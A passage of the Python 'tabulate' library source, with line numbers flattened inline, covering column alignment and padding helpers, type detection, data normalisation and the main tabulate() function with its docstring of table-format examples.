_afterpoint(string): 514 | """Symbols after a decimal point, -1 if the string lacks the decimal point. 515 | 516 | >>> _afterpoint("123.45") 517 | 2 518 | >>> _afterpoint("1001") 519 | -1 520 | >>> _afterpoint("eggs") 521 | -1 522 | >>> _afterpoint("123e45") 523 | 2 524 | 525 | """ 526 | if _isnumber(string): 527 | if _isint(string): 528 | return -1 529 | else: 530 | pos = string.rfind(".") 531 | pos = string.lower().rfind("e") if pos < 0 else pos 532 | if pos >= 0: 533 | return len(string) - pos - 1 534 | else: 535 | return -1 # no point 536 | else: 537 | return -1 # not a number 538 | 539 | 540 | def _padleft(width, s): 541 | """Flush right. 542 | 543 | >>> _padleft(6, '\u044f\u0439\u0446\u0430') == ' \u044f\u0439\u0446\u0430' 544 | True 545 | 546 | """ 547 | fmt = "{0:>%ds}" % width 548 | return fmt.format(s) 549 | 550 | 551 | def _padright(width, s): 552 | """Flush left. 553 | 554 | >>> _padright(6, '\u044f\u0439\u0446\u0430') == '\u044f\u0439\u0446\u0430 ' 555 | True 556 | 557 | """ 558 | fmt = "{0:<%ds}" % width 559 | return fmt.format(s) 560 | 561 | 562 | def _padboth(width, s): 563 | """Center string. 564 | 565 | >>> _padboth(6, '\u044f\u0439\u0446\u0430') == ' \u044f\u0439\u0446\u0430 ' 566 | True 567 | 568 | """ 569 | fmt = "{0:^%ds}" % width 570 | return fmt.format(s) 571 | 572 | 573 | def _padnone(ignore_width, s): 574 | return s 575 | 576 | 577 | def _strip_invisible(s): 578 | "Remove invisible ANSI color codes." 579 | if isinstance(s, _text_type): 580 | return re.sub(_invisible_codes, "", s) 581 | else: # a bytestring 582 | return re.sub(_invisible_codes_bytes, "", s) 583 | 584 | 585 | def _visible_width(s): 586 | """Visible width of a printed string. ANSI color codes are removed. 587 | 588 | >>> _visible_width('\x1b[31mhello\x1b[0m'), _visible_width("world") 589 | (5, 5) 590 | 591 | """ 592 | # optional wide-character support 593 | if wcwidth is not None and WIDE_CHARS_MODE: 594 | len_fn = wcwidth.wcswidth 595 | else: 596 | len_fn = len 597 | if isinstance(s, _text_type) or isinstance(s, _binary_type): 598 | return len_fn(_strip_invisible(s)) 599 | else: 600 | return len_fn(_text_type(s)) 601 | 602 | 603 | def _is_multiline(s): 604 | if isinstance(s, _text_type): 605 | return bool(re.search(_multiline_codes, s)) 606 | else: # a bytestring 607 | return bool(re.search(_multiline_codes_bytes, s)) 608 | 609 | 610 | def _multiline_width(multiline_s, line_width_fn=len): 611 | """Visible width of a potentially multiline content.""" 612 | return max(map(line_width_fn, re.split("[\r\n]", multiline_s))) 613 | 614 | 615 | def _choose_width_fn(has_invisible, enable_widechars, is_multiline): 616 | """Return a function to calculate visible cell width.""" 617 | if has_invisible: 618 | line_width_fn = _visible_width 619 | elif enable_widechars: # optional wide-character support if available 620 | line_width_fn = wcwidth.wcswidth 621 | else: 622 | line_width_fn = len 623 | if is_multiline: 624 | width_fn = lambda s: _multiline_width(s, line_width_fn) 625 | else: 626 | width_fn = line_width_fn 627 | return width_fn 628 | 629 | 630 | def _align_column_choose_padfn(strings, alignment, has_invisible): 631 | if alignment == "right": 632 | if not PRESERVE_WHITESPACE: 633 | strings = [s.strip() for s in strings] 634 | padfn = _padleft 635 | elif alignment == "center": 636 | if not PRESERVE_WHITESPACE: 637 | strings = [s.strip() for s in strings] 638 | padfn = _padboth 639 | elif alignment == "decimal": 640 | if has_invisible: 641 | decimals = [_afterpoint(_strip_invisible(s)) for s in strings] 642 | else: 643 | decimals = [_afterpoint(s) for s in strings] 644 | maxdecimals = max(decimals) 645 | strings = [s + (maxdecimals - decs) * " " 646 | for s, decs in zip(strings, decimals)] 647 | padfn = _padleft 648 | elif not alignment: 649 | padfn = _padnone 650 | else: 651 | if not PRESERVE_WHITESPACE: 652 | strings = [s.strip() for s in strings] 653 | padfn = _padright 654 | return strings, padfn 655 | 656 | 657 | def _align_column(strings, alignment, minwidth=0, 658 | has_invisible=True, enable_widechars=False, is_multiline=False): 659 | """[string] -> [padded_string]""" 660 | strings, padfn = _align_column_choose_padfn(strings, alignment, has_invisible) 661 | width_fn = _choose_width_fn(has_invisible, enable_widechars, is_multiline) 662 | 663 | s_widths = list(map(width_fn, strings)) 664 | maxwidth = max(max(s_widths), minwidth) 665 | # TODO: refactor column alignment in single-line and multiline modes 666 | if is_multiline: 667 | if not enable_widechars and not has_invisible: 668 | padded_strings = [ 669 | "\n".join([padfn(maxwidth, s) for s in ms.splitlines()]) 670 | for ms in strings] 671 | else: 672 | # enable wide-character width corrections 673 | s_lens = [max((len(s) for s in re.split("[\r\n]", ms))) for ms in strings] 674 | visible_widths = [maxwidth - (w - l) for w, l in zip(s_widths, s_lens)] 675 | # wcswidth and _visible_width don't count invisible characters; 676 | # padfn doesn't need to apply another correction 677 | padded_strings = ["\n".join([padfn(w, s) for s in (ms.splitlines() or ms)]) 678 | for ms, w in zip(strings, visible_widths)] 679 | else: # single-line cell values 680 | if not enable_widechars and not has_invisible: 681 | padded_strings = [padfn(maxwidth, s) for s in strings] 682 | else: 683 | # enable wide-character width corrections 684 | s_lens = list(map(len, strings)) 685 | visible_widths = [maxwidth - (w - l) for w, l in zip(s_widths, s_lens)] 686 | # wcswidth and _visible_width don't count invisible characters; 687 | # padfn doesn't need to apply another correction 688 | padded_strings = [padfn(w, s) for s, w in zip(strings, visible_widths)] 689 | return padded_strings 690 | 691 | 692 | def _more_generic(type1, type2): 693 | types = { _none_type: 0, _bool_type: 1, int: 2, float: 3, _binary_type: 4, _text_type: 5 } 694 | invtypes = { 5: _text_type, 4: _binary_type, 3: float, 2: int, 1: _bool_type, 0: _none_type } 695 | moregeneric = max(types.get(type1, 5), types.get(type2, 5)) 696 | return invtypes[moregeneric] 697 | 698 | 699 | def _column_type(strings, has_invisible=True, numparse=True): 700 | """The least generic type all column values are convertible to. 701 | 702 | >>> _column_type([True, False]) is _bool_type 703 | True 704 | >>> _column_type(["1", "2"]) is _int_type 705 | True 706 | >>> _column_type(["1", "2.3"]) is _float_type 707 | True 708 | >>> _column_type(["1", "2.3", "four"]) is _text_type 709 | True 710 | >>> _column_type(["four", '\u043f\u044f\u0442\u044c']) is _text_type 711 | True 712 | >>> _column_type([None, "brux"]) is _text_type 713 | True 714 | >>> _column_type([1, 2, None]) is _int_type 715 | True 716 | >>> import datetime as dt 717 | >>> _column_type([dt.datetime(1991,2,19), dt.time(17,35)]) is _text_type 718 | True 719 | 720 | """ 721 | types = [_type(s, has_invisible, numparse) for s in strings ] 722 | return reduce(_more_generic, types, _bool_type) 723 | 724 | 725 | def _format(val, valtype, floatfmt, missingval="", has_invisible=True): 726 | """Format a value accoding to its type. 727 | 728 | Unicode is supported: 729 | 730 | >>> hrow = ['\u0431\u0443\u043a\u0432\u0430', '\u0446\u0438\u0444\u0440\u0430'] ; \ 731 | tbl = [['\u0430\u0437', 2], ['\u0431\u0443\u043a\u0438', 4]] ; \ 732 | good_result = '\\u0431\\u0443\\u043a\\u0432\\u0430 \\u0446\\u0438\\u0444\\u0440\\u0430\\n------- -------\\n\\u0430\\u0437 2\\n\\u0431\\u0443\\u043a\\u0438 4' ; \ 733 | tabulate(tbl, headers=hrow) == good_result 734 | True 735 | 736 | """ 737 | if val is None: 738 | return missingval 739 | 740 | if valtype in [int, _text_type]: 741 | return "{0}".format(val) 742 | elif valtype is _binary_type: 743 | try: 744 | return _text_type(val, "ascii") 745 | except TypeError: 746 | return _text_type(val) 747 | elif valtype is float: 748 | is_a_colored_number = has_invisible and isinstance(val, (_text_type, _binary_type)) 749 | if is_a_colored_number: 750 | raw_val = _strip_invisible(val) 751 | formatted_val = format(float(raw_val), floatfmt) 752 | return val.replace(raw_val, formatted_val) 753 | else: 754 | return format(float(val), floatfmt) 755 | else: 756 | return "{0}".format(val) 757 | 758 | 759 | def _align_header(header, alignment, width, visible_width, is_multiline=False, width_fn=None): 760 | "Pad string header to width chars given known visible_width of the header." 761 | if is_multiline: 762 | header_lines = re.split(_multiline_codes, header) 763 | padded_lines = [_align_header(h, alignment, width, width_fn(h)) for h in header_lines] 764 | return "\n".join(padded_lines) 765 | # else: not multiline 766 | ninvisible = len(header) - visible_width 767 | width += ninvisible 768 | if alignment == "left": 769 | return _padright(width, header) 770 | elif alignment == "center": 771 | return _padboth(width, header) 772 | elif not alignment: 773 | return "{0}".format(header) 774 | else: 775 | return _padleft(width, header) 776 | 777 | 778 | def _prepend_row_index(rows, index): 779 | """Add a left-most index column.""" 780 | if index is None or index is False: 781 | return rows 782 | if len(index) != len(rows): 783 | print('index=', index) 784 | print('rows=', rows) 785 | raise ValueError('index must be as long as the number of data rows') 786 | rows = [[v]+list(row) for v,row in zip(index, rows)] 787 | return rows 788 | 789 | 790 | def _bool(val): 791 | "A wrapper around standard bool() which doesn't throw on NumPy arrays" 792 | try: 793 | return bool(val) 794 | except ValueError: # val is likely to be a numpy array with many elements 795 | return False 796 | 797 | 798 | def _normalize_tabular_data(tabular_data, headers, showindex="default"): 799 | """Transform a supported data type to a list of lists, and a list of headers. 800 | 801 | Supported tabular data types: 802 | 803 | * list-of-lists or another iterable of iterables 804 | 805 | * list of named tuples (usually used with headers="keys") 806 | 807 | * list of dicts (usually used with headers="keys") 808 | 809 | * list of OrderedDicts (usually used with headers="keys") 810 | 811 | * 2D NumPy arrays 812 | 813 | * NumPy record arrays (usually used with headers="keys") 814 | 815 | * dict of iterables (usually used with headers="keys") 816 | 817 | * pandas.DataFrame (usually used with headers="keys") 818 | 819 | The first row can be used as headers if headers="firstrow", 820 | column indices can be used as headers if headers="keys". 821 | 822 | If showindex="default", show row indices of the pandas.DataFrame. 823 | If showindex="always", show row indices for all types of data. 824 | If showindex="never", don't show row indices for all types of data. 825 | If showindex is an iterable, show its values as row indices. 826 | 827 | """ 828 | 829 | try: 830 | bool(headers) 831 | is_headers2bool_broken = False 832 | except ValueError: # numpy.ndarray, pandas.core.index.Index, ... 833 | is_headers2bool_broken = True 834 | headers = list(headers) 835 | 836 | index = None 837 | if hasattr(tabular_data, "keys") and hasattr(tabular_data, "values"): 838 | # dict-like and pandas.DataFrame? 839 | if hasattr(tabular_data.values, "__call__"): 840 | # likely a conventional dict 841 | keys = tabular_data.keys() 842 | rows = list(izip_longest(*tabular_data.values())) # columns have to be transposed 843 | elif hasattr(tabular_data, "index"): 844 | # values is a property, has .index => it's likely a pandas.DataFrame (pandas 0.11.0) 845 | keys = list(tabular_data) 846 | if tabular_data.index.name is not None: 847 | if isinstance(tabular_data.index.name, list): 848 | keys[:0] = tabular_data.index.name 849 | else: 850 | keys[:0] = [tabular_data.index.name] 851 | vals = tabular_data.values # values matrix doesn't need to be transposed 852 | # for DataFrames add an index per default 853 | index = list(tabular_data.index) 854 | rows = [list(row) for row in vals] 855 | else: 856 | raise ValueError("tabular data doesn't appear to be a dict or a DataFrame") 857 | 858 | if headers == "keys": 859 | headers = list(map(_text_type,keys)) # headers should be strings 860 | 861 | else: # it's a usual an iterable of iterables, or a NumPy array 862 | rows = list(tabular_data) 863 | 864 | if (headers == "keys" and not rows): 865 | # an empty table (issue #81) 866 | headers = [] 867 | elif (headers == "keys" and 868 | hasattr(tabular_data, "dtype") and 869 | getattr(tabular_data.dtype, "names")): 870 | # numpy record array 871 | headers = tabular_data.dtype.names 872 | elif (headers == "keys" 873 | and len(rows) > 0 874 | and isinstance(rows[0], tuple) 875 | and hasattr(rows[0], "_fields")): 876 | # namedtuple 877 | headers = list(map(_text_type, rows[0]._fields)) 878 | elif (len(rows) > 0 879 | and isinstance(rows[0], dict)): 880 | # dict or OrderedDict 881 | uniq_keys = set() # implements hashed lookup 882 | keys = [] # storage for set 883 | if headers == "firstrow": 884 | firstdict = rows[0] if len(rows) > 0 else {} 885 | keys.extend(firstdict.keys()) 886 | uniq_keys.update(keys) 887 | rows = rows[1:] 888 | for row in rows: 889 | for k in row.keys(): 890 | #Save unique items in input order 891 | if k not in uniq_keys: 892 | keys.append(k) 893 | uniq_keys.add(k) 894 | if headers == 'keys': 895 | headers = keys 896 | elif isinstance(headers, dict): 897 | # a dict of headers for a list of dicts 898 | headers = [headers.get(k, k) for k in keys] 899 | headers = list(map(_text_type, headers)) 900 | elif headers == "firstrow": 901 | if len(rows) > 0: 902 | headers = [firstdict.get(k, k) for k in keys] 903 | headers = list(map(_text_type, headers)) 904 | else: 905 | headers = [] 906 | elif headers: 907 | raise ValueError('headers for a list of dicts is not a dict or a keyword') 908 | rows = [[row.get(k) for k in keys] for row in rows] 909 | 910 | elif (headers == "keys" 911 | and hasattr(tabular_data, "description") 912 | and hasattr(tabular_data, "fetchone") 913 | and hasattr(tabular_data, "rowcount")): 914 | # Python Database API cursor object (PEP 0249) 915 | # print tabulate(cursor, headers='keys') 916 | headers = [column[0] for column in tabular_data.description] 917 | 918 | elif headers == "keys" and len(rows) > 0: 919 | # keys are column indices 920 | headers = list(map(_text_type, range(len(rows[0])))) 921 | 922 | # take headers from the first row if necessary 923 | if headers == "firstrow" and len(rows) > 0: 924 | if index is not None: 925 | headers = [index[0]] + list(rows[0]) 926 | index = index[1:] 927 | else: 928 | headers = rows[0] 929 | headers = list(map(_text_type, headers)) # headers should be strings 930 | rows = rows[1:] 931 | 932 | headers = list(map(_text_type,headers)) 933 | rows = list(map(list,rows)) 934 | 935 | # add or remove an index column 936 | showindex_is_a_str = type(showindex) in [_text_type, _binary_type] 937 | if showindex == "default" and index is not None: 938 | rows = _prepend_row_index(rows, index) 939 | elif isinstance(showindex, Iterable) and not showindex_is_a_str: 940 | rows = _prepend_row_index(rows, list(showindex)) 941 | elif showindex == "always" or (_bool(showindex) and not showindex_is_a_str): 942 | if index is None: 943 | index = list(range(len(rows))) 944 | rows = _prepend_row_index(rows, index) 945 | elif showindex == "never" or (not _bool(showindex) and not showindex_is_a_str): 946 | pass 947 | 948 | # pad with empty headers for initial columns if necessary 949 | if headers and len(rows) > 0: 950 | nhs = len(headers) 951 | ncols = len(rows[0]) 952 | if nhs < ncols: 953 | headers = [""]*(ncols - nhs) + headers 954 | 955 | return rows, headers 956 | 957 | 958 | 959 | def tabulate(tabular_data, headers=(), tablefmt="simple", 960 | floatfmt=_DEFAULT_FLOATFMT, numalign="decimal", stralign="left", 961 | missingval=_DEFAULT_MISSINGVAL, showindex="default", disable_numparse=False): 962 | """Format a fixed width table for pretty printing. 963 | 964 | >>> print(tabulate([[1, 2.34], [-56, "8.999"], ["2", "10001"]])) 965 | --- --------- 966 | 1 2.34 967 | -56 8.999 968 | 2 10001 969 | --- --------- 970 | 971 | The first required argument (`tabular_data`) can be a 972 | list-of-lists (or another iterable of iterables), a list of named 973 | tuples, a dictionary of iterables, an iterable of dictionaries, 974 | a two-dimensional NumPy array, NumPy record array, or a Pandas' 975 | dataframe. 976 | 977 | 978 | Table headers 979 | ------------- 980 | 981 | To print nice column headers, supply the second argument (`headers`): 982 | 983 | - `headers` can be an explicit list of column headers 984 | - if `headers="firstrow"`, then the first row of data is used 985 | - if `headers="keys"`, then dictionary keys or column indices are used 986 | 987 | Otherwise a headerless table is produced. 988 | 989 | If the number of headers is less than the number of columns, they 990 | are supposed to be names of the last columns. This is consistent 991 | with the plain-text format of R and Pandas' dataframes. 992 | 993 | >>> print(tabulate([["sex","age"],["Alice","F",24],["Bob","M",19]], 994 | ... headers="firstrow")) 995 | sex age 996 | ----- ----- ----- 997 | Alice F 24 998 | Bob M 19 999 | 1000 | By default, pandas.DataFrame data have an additional column called 1001 | row index. To add a similar column to all other types of data, 1002 | use `showindex="always"` or `showindex=True`. To suppress row indices 1003 | for all types of data, pass `showindex="never" or `showindex=False`. 1004 | To add a custom row index column, pass `showindex=some_iterable`. 1005 | 1006 | >>> print(tabulate([["F",24],["M",19]], showindex="always")) 1007 | - - -- 1008 | 0 F 24 1009 | 1 M 19 1010 | - - -- 1011 | 1012 | 1013 | Column alignment 1014 | ---------------- 1015 | 1016 | `tabulate` tries to detect column types automatically, and aligns 1017 | the values properly. By default it aligns decimal points of the 1018 | numbers (or flushes integer numbers to the right), and flushes 1019 | everything else to the left. Possible column alignments 1020 | (`numalign`, `stralign`) are: "right", "center", "left", "decimal" 1021 | (only for `numalign`), and None (to disable alignment). 1022 | 1023 | 1024 | Table formats 1025 | ------------- 1026 | 1027 | `floatfmt` is a format specification used for columns which 1028 | contain numeric data with a decimal point. This can also be 1029 | a list or tuple of format strings, one per column. 1030 | 1031 | `None` values are replaced with a `missingval` string (like 1032 | `floatfmt`, this can also be a list of values for different 1033 | columns): 1034 | 1035 | >>> print(tabulate([["spam", 1, None], 1036 | ... ["eggs", 42, 3.14], 1037 | ... ["other", None, 2.7]], missingval="?")) 1038 | ----- -- ---- 1039 | spam 1 ? 1040 | eggs 42 3.14 1041 | other ? 2.7 1042 | ----- -- ---- 1043 | 1044 | Various plain-text table formats (`tablefmt`) are supported: 1045 | 'plain', 'simple', 'grid', 'pipe', 'orgtbl', 'rst', 'mediawiki', 1046 | 'latex', 'latex_raw' and 'latex_booktabs'. Variable `tabulate_formats` 1047 | contains the list of currently supported formats. 1048 | 1049 | "plain" format doesn't use any pseudographics to draw tables, 1050 | it separates columns with a double space: 1051 | 1052 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], 1053 | ... ["strings", "numbers"], "plain")) 1054 | strings numbers 1055 | spam 41.9999 1056 | eggs 451 1057 | 1058 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], tablefmt="plain")) 1059 | spam 41.9999 1060 | eggs 451 1061 | 1062 | "simple" format is like Pandoc simple_tables: 1063 | 1064 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], 1065 | ... ["strings", "numbers"], "simple")) 1066 | strings numbers 1067 | --------- --------- 1068 | spam 41.9999 1069 | eggs 451 1070 | 1071 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], tablefmt="simple")) 1072 | ---- -------- 1073 | spam 41.9999 1074 | eggs 451 1075 | ---- -------- 1076 | 1077 | "grid" is similar to tables produced by Emacs table.el package or 1078 | Pandoc grid_tables: 1079 | 1080 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], 1081 | ... ["strings", "numbers"], "grid")) 1082 | +-----------+-----------+ 1083 | | strings | numbers | 1084 | +===========+===========+ 1085 | | spam | 41.9999 | 1086 | +-----------+-----------+ 1087 | | eggs | 451 | 1088 | +-----------+-----------+ 1089 | 1090 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], tablefmt="grid")) 1091 | +------+----------+ 1092 | | spam | 41.9999 | 1093 | +------+----------+ 1094 | | eggs | 451 | 1095 | +------+----------+ 1096 | 1097 | "fancy_grid" draws a grid using box-drawing characters: 1098 | 1099 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], 1100 | ... ["strings", "numbers"], "fancy_grid")) 1101 | ╒═══════════╤═══════════╕ 1102 | │ strings │ numbers │ 1103 | ╞═══════════╪═══════════╡ 1104 | │ spam │ 41.9999 │ 1105 | ├───────────┼───────────┤ 1106 | │ eggs │ 451 │ 1107 | ╘═══════════╧═══════════╛ 1108 | 1109 | "pipe" is like tables in PHP Markdown Extra extension or Pandoc 1110 | pipe_tables: 1111 | 1112 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], 1113 | ... ["strings", "numbers"], "pipe")) 1114 | | strings | numbers | 1115 | |:----------|----------:| 1116 | | spam | 41.9999 | 1117 | | eggs | 451 | 1118 | 1119 | "presto" is like tables produce by the Presto CLI: 1120 | 1121 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], 1122 | ... ["strings", "numbers"], "presto")) 1123 | strings | numbers 1124 | -----------+----------- 1125 | spam | 41.9999 1126 | eggs | 451 1127 | 1128 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], tablefmt="pipe")) 1129 | |:-----|---------:| 1130 | | spam | 41.9999 | 1131 | | eggs | 451 | 1132 | 1133 | "orgtbl" is like tables in Emacs org-mode and orgtbl-mode. They 1134 | are slightly different from "pipe" format by not using colons to 1135 | define column alignment, and using a "+" sign to indicate line 1136 | intersections: 1137 | 1138 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], 1139 | ... ["strings", "numbers"], "orgtbl")) 1140 | | strings | numbers | 1141 | |-----------+-----------| 1142 | | spam | 41.9999 | 1143 | | eggs | 451 | 1144 | 1145 | 1146 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], tablefmt="orgtbl")) 1147 | | spam | 41.9999 | 1148 | | eggs | 451 | 1149 | 1150 | "rst" is like a simple table format from reStructuredText; please 1151 | note that reStructuredText accepts also "grid" tables: 1152 | 1153 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], 1154 | ... ["strings", "numbers"], "rst")) 1155 | ========= ========= 1156 | strings numbers 1157 | ========= ========= 1158 | spam 41.9999 1159 | eggs 451 1160 | ========= ========= 1161 | 1162 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], tablefmt="rst")) 1163 | ==== ======== 1164 | spam 41.9999 1165 | eggs 451 1166 | ==== ======== 1167 | 1168 | "mediawiki" produces a table markup used in Wikipedia and on other 1169 | MediaWiki-based sites: 1170 | 1171 | >>> print(tabulate([["strings", "numbers"], ["spam", 41.9999], ["eggs", "451.0"]], 1172 | ... headers="firstrow", tablefmt="mediawiki")) 1173 | {| class="wikitable" style="text-align: left;" 1174 | |+ 1175 | |- 1176 | ! strings !! align="right"| numbers 1177 | |- 1178 | | spam || align="right"| 41.9999 1179 | |- 1180 | | eggs || align="right"| 451 1181 | |} 1182 | 1183 | "html" produces HTML markup: 1184 | 1185 | >>> print(tabulate([["strings", "numbers"], ["spam", 41.9999], ["eggs", "451.0"]], 1186 | ... headers="firstrow", tablefmt="html")) 1187 | 1188 | 1189 | 1190 | 1191 | 1192 | 1193 | 1194 | 1195 |
strings numbers
spam 41.9999
eggs 451
1196 | 1197 | "latex" produces a tabular environment of LaTeX document markup: 1198 | 1199 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], tablefmt="latex")) 1200 | \\begin{tabular}{lr} 1201 | \\hline 1202 | spam & 41.9999 \\\\ 1203 | eggs & 451 \\\\ 1204 | \\hline 1205 | \\end{tabular} 1206 | 1207 | "latex_raw" is similar to "latex", but doesn't escape special characters, 1208 | such as backslash and underscore, so LaTeX commands may embedded into 1209 | cells' values: 1210 | 1211 | >>> print(tabulate([["spam$_9$", 41.9999], ["\\\\emph{eggs}", "451.0"]], tablefmt="latex_raw")) 1212 | \\begin{tabular}{lr} 1213 | \\hline 1214 | spam$_9$ & 41.9999 \\\\ 1215 | \\emph{eggs} & 451 \\\\ 1216 | \\hline 1217 | \\end{tabular} 1218 | 1219 | "latex_booktabs" produces a tabular environment of LaTeX document markup 1220 | using the booktabs.sty package: 1221 | 1222 | >>> print(tabulate([["spam", 41.9999], ["eggs", "451.0"]], tablefmt="latex_booktabs")) 1223 | \\begin{tabular}{lr} 1224 | \\toprule 1225 | spam & 41.9999 \\\\ 1226 | eggs & 451 \\\\ 1227 | \\bottomrule 1228 | \end{tabular} 1229 | 1230 | Number parsing 1231 | -------------- 1232 | By default, anything which can be parsed as a number is a number. 1233 | This ensures numbers represented as strings are aligned properly. 1234 | This can lead to weird results for particular strings such as 1235 | specific git SHAs e.g. "42992e1" will be parsed into the number 1236 | 429920 and aligned as such. 1237 | 1238 | To completely disable number parsing (and alignment), use 1239 | `disable_numparse=True`. For more fine grained control, a list column 1240 | indices is used to disable number parsing only on those columns 1241 | e.g. `disable_numparse=[0, 2]` would disable number parsing only on the 1242 | first and third columns. 1243 | """ 1244 | if tabular_data is None: 1245 | tabular_data = [] 1246 | list_of_lists, headers = _normalize_tabular_data( 1247 | tabular_data, headers, showindex=showindex) 1248 | 1249 | # empty values in the first column of RST tables should be escaped (issue #82) 1250 | # "" should be escaped as "\\ " or ".." 1251 | if tablefmt == 'rst': 1252 | list_of_lists, headers = _rst_escape_first_column(list_of_lists, headers) 1253 | 1254 | # optimization: look for ANSI control codes once, 1255 | # enable smart width functions only if a control code is found 1256 | plain_text = '\t'.join(['\t'.join(map(_text_type, headers))] + \ 1257 | ['\t'.join(map(_text_type, row)) for row in list_of_lists]) 1258 | 1259 | has_invisible = re.search(_invisible_codes, plain_text) 1260 | enable_widechars = wcwidth is not None and WIDE_CHARS_MODE 1261 | if tablefmt in multiline_formats and _is_multiline(plain_text): 1262 | tablefmt = multiline_formats.get(tablefmt, tablefmt) 1263 | is_multiline = True 1264 | else: 1265 | is_multiline = False 1266 | width_fn = _choose_width_fn(has_invisible, enable_widechars, is_multiline) 1267 | 1268 | # format rows and columns, convert numeric values to strings 1269 | cols = list(izip_longest(*list_of_lists)) 1270 | numparses = _expand_numparse(disable_numparse, len(cols)) 1271 | coltypes = [_column_type(col, numparse=np) for col, np in 1272 | zip(cols, numparses)] 1273 | if isinstance(floatfmt, basestring): #old version 1274 | float_formats = len(cols) * [floatfmt] # just duplicate the string to use in each column 1275 | else: # if floatfmt is list, tuple etc we have one per column 1276 | float_formats = list(floatfmt) 1277 | if len(float_formats) < len(cols): 1278 | float_formats.extend( (len(cols)-len(float_formats)) * [_DEFAULT_FLOATFMT] ) 1279 | if isinstance(missingval, basestring): 1280 | missing_vals = len(cols) * [missingval] 1281 | else: 1282 | missing_vals = list(missingval) 1283 | if len(missing_vals) < len(cols): 1284 | missing_vals.extend( (len(cols)-len(missing_vals)) * [_DEFAULT_MISSINGVAL] ) 1285 | cols = [[_format(v, ct, fl_fmt, miss_v, has_invisible) for v in c] 1286 | for c, ct, fl_fmt, miss_v in zip(cols, coltypes, float_formats, missing_vals)] 1287 | 1288 | # align columns 1289 | aligns = [numalign if ct in [int,float] else stralign for ct in coltypes] 1290 | minwidths = [width_fn(h) + MIN_PADDING for h in headers] if headers else [0]*len(cols) 1291 | cols = [_align_column(c, a, minw, has_invisible, enable_widechars, is_multiline) 1292 | for c, a, minw in zip(cols, aligns, minwidths)] 1293 | 1294 | if headers: 1295 | # align headers and add headers 1296 | t_cols = cols or [['']] * len(headers) 1297 | t_aligns = aligns or [stralign] * len(headers) 1298 | minwidths = [max(minw, max(width_fn(cl) for cl in c)) for minw, c in zip(minwidths, t_cols)] 1299 | headers = [_align_header(h, a, minw, width_fn(h), is_multiline, width_fn) 1300 | for h, a, minw in zip(headers, t_aligns, minwidths)] 1301 | rows = list(zip(*cols)) 1302 | else: 1303 | minwidths = [max(width_fn(cl) for cl in c) for c in cols] 1304 | rows = list(zip(*cols)) 1305 | 1306 | if not isinstance(tablefmt, TableFormat): 1307 | tablefmt = _table_formats.get(tablefmt, _table_formats["simple"]) 1308 | 1309 | return _format_table(tablefmt, headers, rows, minwidths, aligns, is_multiline) 1310 | 1311 | 1312 | def _expand_numparse(disable_numparse, column_count): 1313 | """ 1314 | Return a list of bools of length `column_count` which indicates whether 1315 | number parsing should be used on each column. 1316 | If `disable_numparse` is a list of indices, each of those indices are False, 1317 | and everything else is True. 1318 | If `disable_numparse` is a bool, then the returned list is all the same. 1319 | """ 1320 | if isinstance(disable_numparse, Iterable): 1321 | numparses = [True] * column_count 1322 | for index in disable_numparse: 1323 | numparses[index] = False 1324 | return numparses 1325 | else: 1326 | return [not disable_numparse] * column_count 1327 | 1328 | 1329 | def _pad_row(cells, padding): 1330 | if cells: 1331 | pad = " "*padding 1332 | padded_cells = [pad + cell + pad for cell in cells] 1333 | return padded_cells 1334 | else: 1335 | return cells 1336 | 1337 | 1338 | def _build_simple_row(padded_cells, rowfmt): 1339 | "Format row according to DataRow format without padding." 1340 | begin, sep, end = rowfmt 1341 | return (begin + sep.join(padded_cells) + end).rstrip() 1342 | 1343 | 1344 | def _build_row(padded_cells, colwidths, colaligns, rowfmt): 1345 | "Return a string which represents a row of data cells." 1346 | if not rowfmt: 1347 | return None 1348 | if hasattr(rowfmt, "__call__"): 1349 | return rowfmt(padded_cells, colwidths, colaligns) 1350 | else: 1351 | return _build_simple_row(padded_cells, rowfmt) 1352 | 1353 | 1354 | def _append_basic_row(lines, padded_cells, colwidths, colaligns, rowfmt): 1355 | lines.append(_build_row(padded_cells, colwidths, colaligns, rowfmt)) 1356 | return lines 1357 | 1358 | 1359 | def _append_multiline_row(lines, padded_multiline_cells, padded_widths, colaligns, rowfmt, pad): 1360 | colwidths = [w - 2*pad for w in padded_widths] 1361 | cells_lines = [c.splitlines() for c in padded_multiline_cells] 1362 | nlines = max(map(len, cells_lines)) # number of lines in the row 1363 | # vertically pad cells where some lines are missing 1364 | cells_lines = [(cl + [' '*w]*(nlines - len(cl))) for cl, w in zip(cells_lines, colwidths)] 1365 | lines_cells = [[cl[i] for cl in cells_lines] for i in range(nlines)] 1366 | for ln in lines_cells: 1367 | padded_ln = _pad_row(ln, pad) 1368 | _append_basic_row(lines, padded_ln, colwidths, colaligns, rowfmt) 1369 | return lines 1370 | 1371 | 1372 | def _build_line(colwidths, colaligns, linefmt): 1373 | "Return a string which represents a horizontal line." 1374 | if not linefmt: 1375 | return None 1376 | if hasattr(linefmt, "__call__"): 1377 | return linefmt(colwidths, colaligns) 1378 | else: 1379 | begin, fill, sep, end = linefmt 1380 | cells = [fill*w for w in colwidths] 1381 | return _build_simple_row(cells, (begin, sep, end)) 1382 | 1383 | 1384 | def _append_line(lines, colwidths, colaligns, linefmt): 1385 | lines.append(_build_line(colwidths, colaligns, linefmt)) 1386 | return lines 1387 | 1388 | 1389 | def _format_table(fmt, headers, rows, colwidths, colaligns, is_multiline): 1390 | """Produce a plain-text representation of the table.""" 1391 | lines = [] 1392 | hidden = fmt.with_header_hide if (headers and fmt.with_header_hide) else [] 1393 | pad = fmt.padding 1394 | headerrow = fmt.headerrow 1395 | 1396 | padded_widths = [(w + 2*pad) for w in 